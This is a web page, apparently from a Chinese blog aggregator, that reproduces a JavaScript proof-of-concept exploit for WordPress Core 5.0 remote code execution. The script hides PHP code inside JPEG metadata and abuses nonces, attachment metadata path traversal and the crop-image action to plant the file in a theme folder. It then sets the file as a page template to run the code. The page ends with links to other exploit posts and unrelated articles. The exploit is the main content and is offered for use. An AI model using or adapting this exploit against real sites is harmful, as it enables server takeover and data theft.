var wpnonce = '';
var ajaxnonce = '';
var wp_attached_file = '';
var imgurl = '';
var postajaxdata = '';
var post_id = 0;
var cmd = '<?php phpinfo();/*';
var cmdlen = cmd.length
var payload = '\xff\xd8\xff\xed\x004Photoshop 3.0\x008BIM\x04\x04'+'\x00'.repeat(5)+'\x17\x1c\x02\x05\x00\x07PAYLOAD\x00\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00`\x00`\x00\x00\xff\xdb\x00C\x00\x06\x04\x05\x06\x05\x04\x06\x06\x05\x06\x07\x07\x06\x08\x0a\x10\x0a\x0a\x09\x09\x0a\x14\x0e\x0f\x0c\x10\x17\x14\x18\x18\x17\x14\x16\x16\x1a\x1d%\x1f\x1a\x1b#\x1c\x16\x16 , #&\x27)*)\x19\x1f-0-(0%()(\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x14\x00\x01'+'\x00'.repeat(15)+'\x08\xff\xc4\x00\x14\x10\x01'+'\x00'.repeat(16)+'\xff\xda\x00\x08\x01\x01\x00\x00?\x00T\xbf\xff\xd9';
var img = payload.replace('\x07PAYLOAD', String.fromCharCode(cmdlen) + cmd);
var byteArray = Uint8Array.from(img, function(c){return c.codePointAt(0);});
var attachurl = '/wp-admin/media-new.php';
var uploadurl = '/wp-admin/async-upload.php';
var editattachurl = '/wp-admin/post.php?post=PID&action=edit';
var editposturl = '/wp-admin/post.php';
var addposturl = '/wp-admin/post-new.php';
var cropurl = '/wp-admin/admin-ajax.php';
console.log("Get wpnonce token.");
jQuery.get(attachurl, function(data) {
wpnonce = jQuery(data).find('#file-form #_wpnonce').val();
if(wpnonce) {
console.log("Success! wpnonce: " + wpnonce);
var postdata = new FormData();
postdata.append('name', 'ebaldremal.jpg');
postdata.append('post_id', post_id);
postdata.append('_wpnonce', wpnonce);
postdata.append('short', 1);
// file
var phpimage = new File([byteArray], 'ebaldremal.jpg');
postdata.append('async-upload', phpimage);
console.log("Upload image with shell.");
jQuery.ajax({
url: uploadurl,
data: postdata,
cache: false,
contentType: false,
processData: false,
method: 'POST',
success: function(data){
if(jQuery.isNumeric(data)) {
post_id = data;
console.log("Success! Attach ID: " + post_id);
console.log("Get wpnonce for edit post, ajax_nonce for crop and URL for fun.");
jQuery.get(editattachurl.replace('PID', post_id), function(data) {
var btnid = "#imgedit-open-btn-" + post_id;
wpnonce = jQuery(data).find('#post #_wpnonce').val();
ajaxnonce = jQuery(data).find(btnid).attr('onclick').match(/[a-f0-9]{10}/)[0];
imgurl = new URL(jQuery(data).find('#attachment_url').val());
wp_attached_file = imgurl.pathname.match(/uploads\/(.*)/)[1] + "?/any";
console.log("Success! wpnonce: " + wpnonce + ", ajaxnonce: " + ajaxnonce);
if(wpnonce && ajaxnonce) {
console.log("Update _wp_attached_file meta key to: " + wp_attached_file);
postdata = {
'_wpnonce': wpnonce,
'action': 'editpost',
'post_ID': post_id,
'meta_input[_wp_attached_file]': wp_attached_file
}
jQuery.post(editposturl, postdata, function(data){
console.log("Success!");
console.log("Crop image for create help folder.");
postajaxdata = {
'_ajax_nonce': ajaxnonce,
'action': 'crop-image',
'id': post_id,
'cropDetails[width]': 1,
'cropDetails[height]': 1
}
jQuery.post(cropurl, postajaxdata, function(data){
console.log("Success! Help directory created.");
wp_attached_file = imgurl.pathname.match(/uploads\/(.*)/)[1] + "?/../../../../themes/twentynineteen/owned";
console.log("Update _wp_attached_file meta key to: " + wp_attached_file);
postdata = {
'_wpnonce': wpnonce,
'action': 'editpost',
'post_ID': post_id,
'meta_input[_wp_attached_file]': wp_attached_file
}
jQuery.post(editposturl, postdata, function(data){
console.log("Success!");
console.log("Crop image for create evil jpg image inside twentynineteen theme folder.");
jQuery.post(cropurl, postajaxdata, function(data){
console.log("Success!");
console.log("Get wpnonce for create new post.");
jQuery.get(addposturl, function(data){
console.log("Create new post and use evil jpg image as template.");
if(jQuery(data).find('form.metabox-base-form').length) {
wpnonce = jQuery(data).find('form.metabox-base-form #_wpnonce').val();
post_id = jQuery(data).find('form.metabox-base-form #post_ID').val();
} else {
wpnonce = jQuery(data).find('#post #_wpnonce').val();
post_id = jQuery(data).find('#post #post_ID').val();
}
postdata = {
'_wpnonce': wpnonce,
'action': 'editpost',
'post_ID': post_id,
'post_title': 'RCE-HERE',
'visibility': 'public',
'publish': 'Publish',
'meta_input[_wp_page_template]': 'cropped-owned.jpg'
}
jQuery.post(editposturl, postdata, function(data){
console.log("Success! Browse post with id = " + post_id + " to trigger RCE.")
console.log("Trying to open: " + imgurl.origin + "/?p=" + post_id + ")");
window.open(imgurl.origin + "/?p=" + post_id, '_blank');
});
});
});
});
});
});
}
});
}
}
});
}
});

[EXP]WordPress Core 5.0 - Remote Code Execution的更多相关文章

  1. [EXP]phpBB 3.2.3 - Remote Code Execution

    // All greets goes to RIPS Tech // Run this JS on Attachment Settings ACP page var plupload_salt = ' ...

  2. CVE-2014-6321 && MS14-066 Microsoft Schannel Remote Code Execution Vulnerability Analysis

    目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 这次的CVE和 ...

  3. [EXP]Apache Superset < 0.23 - Remote Code Execution

    # Exploit Title: Apache Superset < 0.23 - Remote Code Execution # Date: 2018-05-17 # Exploit Auth ...

  4. [EXP]ThinkPHP 5.0.23/5.1.31 - Remote Code Execution

    # Exploit Title: ThinkPHP .x < v5.0.23,v5.1.31 Remote Code Execution # Date: -- # Exploit Author: ...

  5. [EXP]Microsoft Windows MSHTML Engine - "Edit" Remote Code Execution

    # Exploit Title: Microsoft Windows (CVE-2019-0541) MSHTML Engine "Edit" Remote Code Execut ...

  6. MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability

    catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 MyBB's unset_globals() function ca ...

  7. Roundcube 1.2.2 - Remote Code Execution

    本文简要记述一下Roundcube 1.2.2远程代码执行漏洞的复现过程. 漏洞利用条件 Roundcube必须配置成使用PHP的mail()函数(如果没有指定SMTP,则是默认开启) PHP的mai ...

  8. [我的CVE][CVE-2017-15708]Apache Synapse Remote Code Execution Vulnerability

    漏洞编号:CNVD-2017-36700 漏洞编号:CVE-2017-15708 漏洞分析:https://www.javasec.cn/index.php/archives/117/ [Apache ...

  9. Tomcat put上传漏洞_CVE2017-12615( JSP Upload Bypass/Remote Code Execution)

    CVE2017-12615漏洞复现( tomcat JSP Upload Bypass /Remote Code Execution) 一.漏洞原理 在windows服务器下,将readonly参数设 ...

随机推荐

  1. 牛客训练四:Applese 涂颜色(费马小定理+快速幂)

    题目链接:传送门 思路: 考虑每一列有2种颜色,总共有n行,每一行的第一个格确定颜色,由于左右颜色不相同,后面的行就确定了. 所以总共有2^n中结果. 由于n太大,所以要用到费马小定理a^n%mod= ...

  2. Le Chapitre VII

    Le cinquième jour, toujours grâce au mouton, ce secrèt de la vie du petit prince me fut révélé. Il m ...

  3. Linux 的虚拟文件系统(强烈推荐)

    1 引言 Linux 中允许众多不同的文件系统共存,如 ext2, ext3, vfat 等.通过使用同一套文件 I/O 系统 调用即可对 Linux 中的任意文件进行操作而无需考虑其所在的具体文件系 ...

  4. lf-8.4 数据的增删改

    MySQL数据操作: DML 在MySQL管理软件中,可以通过SQL语句中的DML语言来实现数据的操作,包括 使用INSERT实现数据的插入 UPDATE实现数据的更新 使用DELETE实现数据的删除 ...

  5. VS2008 + QGIS1.7.1试验

    今天试验了一下.结果算是成功了吧.显示Generate done,生成了.但是提示了一个“SVN version不明确”的错误提示,应该无大碍吧.但是打开Build成的.sln也没看出有啥不妥. 用C ...

  6. 20169207《Linux内核原理与分析》第七周作业

    这周作业基本分为两个方面,第一方面,阅读学习教材「Linux内核设计与实现 (Linux Kernel Development)」第教材第9,10章.第二方面.学习MOOC「Linux内核分析」第五讲 ...

  7. jquery中data()和js中dataset属性的区别

    INTRO html的标签属性data-允许用户自定义属性.原生javascript和jquery分别定义了dataset属性和data()方法对标签中的data属性进行操作. 取值: 如我们定义这样 ...

  8. 3、利用GDB进行程序调试

    本文将用一个实际例子讲解如何通过GDB进行程序调试. 首先,我们需要理解的是GDB是GNU开源组织发布的一个强大的UNIX下的程序调试工具,其产生和调试的目的是让调试者知道,程序在执行时内部发生了什么 ...

  9. hadoop一代集群运行代码案例

    hadoop一代集群运行代码案例 集群 一个 master,两个slave,IP分别是192.168.1.2.192.168.1.3.192.168.1.4               hadoop版 ...

  10. PHP后台登录 接口

    /** * 登录 * tel 手机号 */ public function login(){ $param=input('param.'); if(!empty($param['tel'])){ if ...